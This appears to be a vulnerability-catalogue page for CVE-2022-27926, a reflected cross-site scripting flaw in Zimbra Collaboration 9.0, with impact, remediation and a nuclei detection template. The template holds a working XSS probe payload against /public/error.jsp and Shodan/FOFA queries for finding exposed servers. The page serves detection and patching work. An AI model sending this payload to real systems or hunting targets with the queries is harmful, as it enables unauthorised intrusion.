Browse / CVEs / CVE-2022-27926
CVE-2022-27926· zimbra / collaboration· CWE-79
Zimbra Collaboration (ZCS) - Cross Site Scripting
Exploited in the wild. Listed by CISA on 2023-04-03; known to be used by ransomware.
A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web script or HTML via request parameters.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Apply the latest security patches or updates provided by Zimbra to fix the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
Positive when: contains "<img src=x onerror=alert(document.domain)>Title???" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-27926 -u <target>
The full check
id: CVE-2022-27926
info:
name: Zimbra Collaboration (ZCS) - Cross Site Scripting
author: rootxharsh,iamnoooob,pdresearch
severity: medium
description: |
A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web script or HTML via request parameters.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by Zimbra to fix the XSS vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-27926
- https://wiki.zimbra.com/wiki/Security_Center
- https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-27926
cwe-id: CWE-79
epss-score: 0.17634
epss-percentile: 0.97174
cpe: cpe:2.3:a:zimbra:collaboration:9.0.0:-:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: zimbra
product: collaboration
shodan-query:
- http.favicon.hash:"1624375939"
- http.favicon.hash:"475145467"
fofa-query:
- app="zimbra-邮件系统"
- icon_hash="475145467"
- icon_hash="1624375939"
tags: cve,cve2022,zimbra,xss,kev,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=x onerror=alert(document.domain)>Title???'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2022-27926
- https://wiki.zimbra.com/wiki/Security_Center
- https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from